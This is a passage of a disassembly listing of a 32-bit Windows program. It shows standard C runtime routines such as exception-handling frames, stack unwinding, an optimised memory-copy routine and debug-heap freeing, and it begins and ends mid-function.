fld [ebp+var_8]
fcomp [ebp+arg_0]
fnstsw ax
test ah, 40h
jz short loc_41CFE1
push 0FFFFh
mov ecx, [ebp+var_C]
push ecx
call sub_427100
add esp, 8
fld [ebp+var_8]
jmp short loc_41D021
; ---------------------------------------------------------------------------
loc_41CFE1: ; CODE XREF: sub_41CEF0+D9j
mov edx, [ebp+var_C]
and edx, 20h
test edx, edx
jz short loc_41D001
push 0FFFFh
mov eax, [ebp+var_C]
push eax
call sub_427100
add esp, 8
fld [ebp+var_8]
jmp short loc_41D021
; ---------------------------------------------------------------------------
loc_41D001: ; CODE XREF: sub_41CEF0+F9j
mov ecx, [ebp+var_C]
push ecx ; int
mov edx, dword ptr [ebp+var_8+4]
push edx
mov eax, dword ptr [ebp+var_8]
push eax ; double
mov ecx, dword ptr [ebp+arg_0+4]
push ecx ; int
mov edx, dword ptr [ebp+arg_0]
push edx ; int
push 0Ch ; int
push 10h ; int
call sub_426290
add esp, 1Ch
loc_41D021: ; CODE XREF: sub_41CEF0+72j
; sub_41CEF0+8Dj ...
mov esp, ebp
pop ebp
retn
sub_41CEF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D030 proc near ; CODE XREF: sub_428060+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41D030 endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D070 proc near ; CODE XREF: sub_428540+50p
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D070 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D080 proc near ; CODE XREF: sub_4282C0+247p
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D080 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D090 proc near ; CODE XREF: sub_4282C0+21Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41D090 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D0A0 proc near ; CODE XREF: sub_41D2F0+66p
; sub_428060+38p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41D0CC
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_435A6C ; RtlUnwind
loc_41D0CC: ; DATA XREF: sub_41D0A0+12o
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
and ecx, 0FFFFFFFDh
mov edx, [ebp+arg_4]
mov [edx+4], ecx
mov eax, large fs:0
mov ebx, [ebp+var_8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 8
sub_41D0A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D100 proc near ; CODE XREF: .nsp0:00435FD4j
; .nsp0:00435FEEj ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cld
mov [ebp+var_8], eax
push 0
push 0
push 0
mov eax, [ebp+var_8]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4279C0
add esp, 20h
mov [ebp+var_4], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41D100 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
mov ecx, [eax+1Ch]
push ecx
mov edx, [ebp+8]
mov eax, [edx+28h]
push eax
push 0
mov ecx, [ebp+8]
mov edx, [ecx+18h]
push edx
call sub_427F30
add esp, 10h
pop ebp
retn 4
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D170 proc near ; CODE XREF: sub_428120+8Ap
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_14], 0
mov [ebp+var_10], offset sub_41D1E0
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_C]
add edx, 1
mov [ebp+var_4], edx
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_8]
push edx
call sub_428620
mov [ebp+var_18], eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, [ebp+var_18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D170 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D1E0 proc near ; DATA XREF: sub_41D170+10o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
push 0
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
push ecx
push 0
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+0Ch]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_4279C0
add esp, 20h
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D1E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D220 proc near ; CODE XREF: sub_427D50+2Dp
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
mov [ebp+var_28], 0
mov [ebp+var_24], offset sub_41D2F0
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_1C], ecx
mov edx, [ebp+arg_14]
mov [ebp+var_18], edx
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
mov [ebp+var_10], 0
mov [ebp+var_C], 0
mov [ebp+var_8], 0
mov [ebp+var_4], 0
mov [ebp+var_10], offset loc_41D2BC
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov ecx, [ebp+arg_0]
mov [ebp+var_30], ecx
mov edx, [ebp+arg_8]
mov [ebp+var_2C], edx
lea eax, [ebp+var_30]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
push edx
call sub_423CF0
call dword ptr [eax+68h]
add esp, 8
mov [ebp+var_34], 0
loc_41D2BC: ; DATA XREF: sub_41D220+4Bo
cmp [ebp+var_4], 0
jz short loc_41D2D9
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41D2E2
; ---------------------------------------------------------------------------
loc_41D2D9: ; CODE XREF: sub_41D220+A0j
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41D2E2: ; CODE XREF: sub_41D220+B7j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D220 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D2F0 proc near ; DATA XREF: sub_41D220+10o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, 66h
test ecx, ecx
jz short loc_41D315
mov edx, [ebp+arg_4]
mov dword ptr [edx+24h], 1
mov eax, 1
jmp short loc_41D36C
; ---------------------------------------------------------------------------
loc_41D315: ; CODE XREF: sub_41D2F0+12j
push 1
mov eax, [ebp+arg_4]
mov ecx, [eax+14h]
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+10h]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+8]
push edx
push 0
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+0Ch]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_4279C0
add esp, 20h
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+24h], 0
jnz short loc_41D35B
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_41D0A0
loc_41D35B: ; CODE XREF: sub_41D2F0+5Cj
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
mov eax, 1
loc_41D36C: ; CODE XREF: sub_41D2F0+23j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41D2F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D380 proc near ; CODE XREF: sub_427AB0+135p
; sub_427D50+52p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, [eax+10h]
mov esi, [eax+0Ch]
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_4]
test ecx, ecx
mov edi, esi
mov ebx, esi
jl short loc_41D3D9
loc_41D39E: ; CODE XREF: sub_41D380+54j
cmp esi, 0FFFFFFFFh
jnz short loc_41D3A8
call sub_428720
loc_41D3A8: ; CODE XREF: sub_41D380+21j
mov eax, [ebp+var_4]
dec esi
mov ecx, [ebp+arg_8]
lea edx, [esi+esi*4]
lea eax, [eax+edx*4]
cmp [eax+4], ecx
jge short loc_41D3BF
cmp ecx, [eax+8]
jle short loc_41D3C4
loc_41D3BF: ; CODE XREF: sub_41D380+38j
cmp esi, 0FFFFFFFFh
jnz short loc_41D3CF
loc_41D3C4: ; CODE XREF: sub_41D380+3Dj
mov eax, [ebp+arg_4]
mov edi, ebx
dec eax
mov ebx, esi
mov [ebp+arg_4], eax
loc_41D3CF: ; CODE XREF: sub_41D380+42j
mov eax, [ebp+arg_4]
test eax, eax
jge short loc_41D39E
mov eax, [ebp+arg_0]
loc_41D3D9: ; CODE XREF: sub_41D380+1Cj
mov ecx, [ebp+arg_C]
mov edx, [ebp+arg_10]
inc esi
mov [ecx], esi
mov [edx], edi
cmp edi, [eax+0Ch]
ja short loc_41D3ED
cmp esi, edi
jbe short loc_41D3F2
loc_41D3ED: ; CODE XREF: sub_41D380+67j
call sub_428720
loc_41D3F2: ; CODE XREF: sub_41D380+6Bj
mov ecx, [ebp+var_4]
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ecx+eax*4]
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D380 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D410 proc near ; CODE XREF: sub_42A9E4+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_41D428
push [ebp+arg_0]
call sub_435A6C ; RtlUnwind
loc_41D428: ; DATA XREF: sub_41D410+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D410 endp
; =============== S U B R O U T I N E =======================================
sub_41D430 proc near ; DATA XREF: sub_41D452+Ao
; sub_41D4BA+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41D451
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41D451: ; CODE XREF: sub_41D430+10j
retn
sub_41D430 endp
; =============== S U B R O U T I N E =======================================
sub_41D452 proc near ; CODE XREF: sub_428120+C2p
; sub_42A9E4+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41D430
push large dword ptr fs:0
mov large fs:0, esp
loc_41D46F: ; CODE XREF: sub_41D452:loc_41D4AAj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41D4AC
cmp esi, [esp+1Ch+arg_4]
jz short loc_41D4AC
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41D4AA
push 101h
mov eax, [ebx+esi*4+8]
call sub_41D4E6
call dword ptr [ebx+esi*4+8]
loc_41D4AA: ; CODE XREF: sub_41D452+44j
jmp short loc_41D46F
; ---------------------------------------------------------------------------
loc_41D4AC: ; CODE XREF: sub_41D452+2Aj
; sub_41D452+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41D452 endp
; =============== S U B R O U T I N E =======================================
sub_41D4BA proc near ; CODE XREF: sub_4281FD+4Bp
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41D430
jnz short locret_41D4DC
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41D4DC
mov eax, 1
locret_41D4DC: ; CODE XREF: sub_41D4BA+10j
; sub_41D4BA+1Bj
retn
sub_41D4BA endp
; =============== S U B R O U T I N E =======================================
sub_41D4DD proc near ; CODE XREF: sub_428620+1Ep
; sub_428620+40p
push ebx
push ecx
mov ebx, offset dword_45110C
jmp short loc_41D4F0
sub_41D4DD endp
; =============== S U B R O U T I N E =======================================
sub_41D4E6 proc near ; CODE XREF: sub_41D452+4Fp
; sub_42A9E4+78p
push ebx
push ecx
mov ebx, offset dword_45110C
mov ecx, [ebp+8]
loc_41D4F0: ; CODE XREF: sub_41D4DD+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41D4E6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41D500 proc near ; CODE XREF: sub_40C972+5p
; sub_40CAE9+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41D500 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D520 proc near ; CODE XREF: sub_40D1EF+Cp
; sub_420300+581p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41D540
cmp edi, eax
jb loc_41D6B8
loc_41D540: ; CODE XREF: sub_41D520+16j
test edi, 3
jnz short loc_41D55C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D57C
rep movsd
jmp off_41D668[edx*4]
; ---------------------------------------------------------------------------
loc_41D55C: ; CODE XREF: sub_41D520+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41D574
and eax, 3
add ecx, eax
jmp dword ptr loc_41D57C+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D574: ; CODE XREF: sub_41D520+46j
jmp dword ptr loc_41D678[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D57C: ; CODE XREF: sub_41D520+31j
; sub_41D520+8Ej ...
jmp off_41D5FC[ecx*4]
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 0D5h, 41h, 0
dd offset loc_41D5BC
dd offset loc_41D5E0
; ---------------------------------------------------------------------------
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41D57C
rep movsd
jmp off_41D668[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D5BC: ; DATA XREF: sub_41D520+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41D57C
rep movsd
jmp off_41D668[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D5E0: ; DATA XREF: sub_41D520+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41D57C
rep movsd
jmp off_41D668[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D5FC dd offset loc_41D65F ; DATA XREF: sub_41D520:loc_41D57Cr
dd offset loc_41D64C
dd offset loc_41D644
dd offset loc_41D63C
dd offset loc_41D634
dd offset loc_41D62C
dd offset loc_41D624
dd offset loc_41D61C
; ---------------------------------------------------------------------------
loc_41D61C: ; CODE XREF: sub_41D520:loc_41D57Cj
; DATA XREF: sub_41D520+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41D624: ; CODE XREF: sub_41D520:loc_41D57Cj
; DATA XREF: sub_41D520+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41D62C: ; CODE XREF: sub_41D520:loc_41D57Cj
; DATA XREF: sub_41D520+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41D634: ; CODE XREF: sub_41D520:loc_41D57Cj
; DATA XREF: sub_41D520+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41D63C: ; CODE XREF: sub_41D520:loc_41D57Cj
; DATA XREF: sub_41D520+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41D644: ; CODE XREF: sub_41D520:loc_41D57Cj
; DATA XREF: sub_41D520+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41D64C: ; CODE XREF: sub_41D520:loc_41D57Cj
; DATA XREF: sub_41D520+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D65F: ; CODE XREF: sub_41D520:loc_41D57Cj
; DATA XREF: sub_41D520:off_41D5FCo
jmp off_41D668[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41D668 dd offset loc_41D678 ; DATA XREF: sub_41D520+35r
; sub_41D520+92r ...
dd offset loc_41D680
dd offset loc_41D68C
dd offset loc_41D6A0
; ---------------------------------------------------------------------------
loc_41D678: ; CODE XREF: sub_41D520+35j
; sub_41D520+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D680: ; CODE XREF: sub_41D520+35j
; sub_41D520+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D68C: ; CODE XREF: sub_41D520+35j
; sub_41D520+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41D6A0: ; CODE XREF: sub_41D520+35j
; sub_41D520+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D6B8: ; CODE XREF: sub_41D520+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41D6EC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41D6E0
std
rep movsd
cld
jmp off_41D800[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41D6E0: ; CODE XREF: sub_41D520+1B1j
; sub_41D520+208j ...
neg ecx
jmp off_41D7B0[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41D6EC: ; CODE XREF: sub_41D520+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41D704
and eax, 3
sub ecx, eax
jmp dword ptr loc_41D704+4[eax*4]
; ---------------------------------------------------------------------------
loc_41D704: ; CODE XREF: sub_41D520+1D6j
; DATA XREF: sub_41D520+1DDr
jmp off_41D800[ecx*4]
; ---------------------------------------------------------------------------
align 4
sbb bh, dl
inc ecx
add [eax], bh
xlat
inc ecx
add [eax-29h], ah
inc ecx
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41D6E0
std
rep movsd
cld
jmp off_41D800[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41D6E0
std
rep movsd
cld
jmp off_41D800[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41D6E0
std
rep movsd
cld
jmp off_41D800[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41D7B4
dd offset loc_41D7BC
dd offset loc_41D7C4
dd offset loc_41D7CC
dd offset loc_41D7D4
dd offset loc_41D7DC
dd offset loc_41D7E4
off_41D7B0 dd offset loc_41D7F7 ; DATA XREF: sub_41D520+1C2r
; ---------------------------------------------------------------------------
loc_41D7B4: ; DATA XREF: sub_41D520+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41D7BC: ; DATA XREF: sub_41D520+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41D7C4: ; DATA XREF: sub_41D520+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41D7CC: ; DATA XREF: sub_41D520+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41D7D4: ; DATA XREF: sub_41D520+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41D7DC: ; DATA XREF: sub_41D520+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41D7E4: ; DATA XREF: sub_41D520+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41D7F7: ; CODE XREF: sub_41D520+1C2j
; DATA XREF: sub_41D520:off_41D7B0o
jmp off_41D800[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41D800 dd offset loc_41D810 ; DATA XREF: sub_41D520+1B7r
; sub_41D520:loc_41D704r ...
dd offset loc_41D818
dd offset loc_41D828
dd offset loc_41D83C
; ---------------------------------------------------------------------------
loc_41D810: ; CODE XREF: sub_41D520+1B7j
; sub_41D520:loc_41D704j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D818: ; CODE XREF: sub_41D520+1B7j
; sub_41D520:loc_41D704j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D828: ; CODE XREF: sub_41D520+1B7j
; sub_41D520:loc_41D704j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41D83C: ; CODE XREF: sub_41D520+1B7j
; sub_41D520:loc_41D704j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41D520 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D860 proc near ; CODE XREF: sub_40D2E7+4p
; sub_4354D0+1Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_41D872
jmp loc_41D8FA
; ---------------------------------------------------------------------------
loc_41D872: ; CODE XREF: sub_41D860+Bj
push 9
call sub_41FB40
add esp, 4
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+var_4], eax
loc_41D885: ; CODE XREF: sub_41D860+7Bj
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jz short loc_41D8D7
mov eax, [ebp+var_4]
cmp dword ptr [eax+14h], 1
jz short loc_41D8D7
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 2
jz short loc_41D8D7
mov eax, [ebp+var_4]
cmp dword ptr [eax+14h], 3
jz short loc_41D8D7
push offset a_block_type_is ; "_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)"
push 0
push 2Fh
push offset dword_437D00
push 2
call sub_41EED0
add esp, 14h
cmp eax, 1
jnz short loc_41D8D7
int 3 ; Trap to Debugger
loc_41D8D7: ; CODE XREF: sub_41D860+34j
; sub_41D860+3Dj ...
xor ecx, ecx
test ecx, ecx
jnz short loc_41D885
mov edx, [ebp+var_4]
mov eax, [edx+14h]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_419980
add esp, 8
push 9
call sub_41FBE0
add esp, 4
loc_41D8FA: ; CODE XREF: sub_41D860+Dj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41D860 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D910 proc near ; CODE XREF: sub_40D347+Bp
; .nsp0:0040DEDAp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 1
mov eax, [ebp+arg_0]
push eax
call sub_418F20
add esp, 8
pop ebp
retn
sub_41D910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D930 proc near ; CODE XREF: sub_41D9F0+7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
call sub_41B6F0
push 2
mov eax, dword_4F0FB4
push eax
call sub_419DC0
add esp, 8
mov ecx, dword_4F0FB0
sub ecx, dword_4F0FB4
add ecx, 4
cmp eax, ecx
jnb short loc_41D9BD
push 68h
push offset dword_437D0C
push 2
push 2
mov edx, dword_4F0FB4
push edx
call sub_419DC0
add esp, 8
add eax, 10h
push eax
mov eax, dword_4F0FB4
push eax
call sub_419380
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41D99A
call sub_41B700
xor eax, eax
jmp short loc_41D9DF
; ---------------------------------------------------------------------------
loc_41D99A: ; CODE XREF: sub_41D930+5Fj
mov ecx, dword_4F0FB0
sub ecx, dword_4F0FB4
sar ecx, 2
mov edx, [ebp+var_4]
lea eax, [edx+ecx*4]
mov dword_4F0FB0, eax
mov ecx, [ebp+var_4]
